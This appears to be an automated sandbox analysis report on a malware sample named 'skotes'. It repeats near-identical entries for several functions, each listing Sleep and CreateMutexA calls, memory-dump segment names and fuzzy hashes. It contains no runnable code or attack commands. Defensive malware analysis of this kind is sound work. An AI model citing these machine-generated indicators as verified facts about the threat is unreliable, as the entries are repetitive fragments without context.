sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000005.00000002.2325130475.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2325104692.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325130475.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325318972.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325450813.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326226081.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326369595.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326392466.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326489783.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326511766.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326535826.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326557056.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326578533.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326599686.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326625191.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326646077.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326664390.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326683930.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326705684.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326728130.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326758169.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326778118.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326800921.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326822605.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326844832.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326869977.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326891202.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326921867.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326953418.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326971860.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326993668.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327014751.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327035031.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327055918.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327078417.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327105729.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327133635.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327218983.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327238246.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327259189.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327279713.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327300655.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327321829.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327344488.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327365139.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 04cf23c897c5c38553f8b3d1c336703472e2bd7132b3e5e856bcb6611729deeb
Instruction ID: 3b0b8bb4b29548dc1f10d03cf9480317e0186661823246a544708a4a92f390dc
Opcode Fuzzy Hash: 04cf23c897c5c38553f8b3d1c336703472e2bd7132b3e5e856bcb6611729deeb
Instruction Fuzzy Hash: 4D3126327841419BEF08DBB8DD89BADB776EB96310F24C61AE014A73D1C73A99908652

Function 009DA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000005.00000002.2325130475.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2325104692.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325130475.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325318972.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325450813.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326226081.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326369595.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326392466.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326489783.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326511766.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326535826.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326557056.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326578533.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326599686.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326625191.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326646077.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326664390.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326683930.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326705684.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326728130.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326758169.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326778118.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326800921.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326822605.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326844832.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326869977.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326891202.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326921867.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326953418.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326971860.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326993668.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327014751.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327035031.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327055918.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327078417.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327105729.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327133635.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327218983.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327238246.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327259189.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327279713.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327300655.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327321829.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327344488.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327365139.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8c60377fa148b747e76feddb2260c3c313a900c4ce33d3c8331c7d382e81ea56
Instruction ID: f7c1e89e28879cd7b91b82de941e9706cff80e45c5942272473630c8662850e1
Opcode Fuzzy Hash: 8c60377fa148b747e76feddb2260c3c313a900c4ce33d3c8331c7d382e81ea56
Instruction Fuzzy Hash: 553126327841419BEB08DBB8DCC9B6DB766ABC6310F24861AE014A73D1C77A99908752

Function 009DA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000005.00000002.2325130475.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2325104692.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325130475.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325318972.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325450813.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326226081.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326369595.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326392466.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326489783.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326511766.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326535826.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326557056.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326578533.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326599686.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326625191.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326646077.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326664390.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326683930.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326705684.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326728130.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326758169.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326778118.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326800921.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326822605.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326844832.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326869977.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326891202.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326921867.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326953418.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326971860.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326993668.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327014751.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327035031.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327055918.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327078417.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327105729.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327133635.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327218983.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327238246.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327259189.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327279713.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327300655.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327321829.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327344488.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327365139.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8e99d91e102d0665ab60b3eae67491276759ed9456e56e320ad2d28f72a9a0e0
Instruction ID: 63426bf94f9610163ebdf974bec6ff5d8fa1ab06361b47bdbee9e74fea8e3e02
Opcode Fuzzy Hash: 8e99d91e102d0665ab60b3eae67491276759ed9456e56e320ad2d28f72a9a0e0
Instruction Fuzzy Hash: EF3146327801019BEB089BB8DDCDBADB766EFC5314F20C21AF014AB3E6C77589908652

Function 009DA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000005.00000002.2325130475.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2325104692.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325130475.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325318972.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325450813.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326226081.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326369595.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326392466.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326489783.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326511766.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326535826.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326557056.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326578533.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326599686.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326625191.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326646077.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326664390.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326683930.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326705684.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326728130.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326758169.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326778118.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326800921.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326822605.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326844832.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326869977.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326891202.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326921867.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326953418.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326971860.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326993668.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327014751.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327035031.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327055918.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327078417.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327105729.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327133635.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327218983.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327238246.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327259189.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327279713.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327300655.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327321829.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327344488.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327365139.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4d90a8452efc552b20b1598c836b703f3813ffa9cd9c7a790a92f72a6c19fe6f
Instruction ID: fabcf56fa6b20aee3448efb128c16a91a37ac905e711ee5c7ffbb9251d1f1245
Opcode Fuzzy Hash: 4d90a8452efc552b20b1598c836b703f3813ffa9cd9c7a790a92f72a6c19fe6f
Instruction Fuzzy Hash: 553125317841058BEF08DBB8DC89B6DB766ABC5314F24C61AF014AB3D2C7798D918712

Function 009DA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000005.00000002.2325130475.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2325104692.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325130475.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325318972.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2325450813.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326226081.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326369595.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326392466.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326441076.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326489783.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326511766.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326535826.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326557056.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326578533.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326599686.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326625191.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326646077.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326664390.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326683930.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326705684.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326728130.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326758169.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326778118.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326800921.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326822605.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326844832.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326869977.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326891202.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326921867.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326953418.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326971860.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2326993668.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327014751.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327035031.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327055918.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327078417.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327105729.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327133635.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327155582.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327218983.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327238246.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327259189.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327279713.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327300655.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327321829.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327344488.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2327365139.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: fbd4892490cd23e48e8d9737506f009ca284e426bf95883bbd861b95b2222dde
Instruction ID: 71b67e5eb004ee1f9004dfb28d8600e0e25fbf4fea4f234955d327d319726d44
Opcode Fuzzy Hash: fbd4892490cd23e48e8d9737506f009ca284e426bf95883bbd861b95b2222dde
Instruction Fuzzy Hash: 33311631B842419BEF08DBB8DD89B6DB776EB85310F24C61AE014EB3D1C77589918652

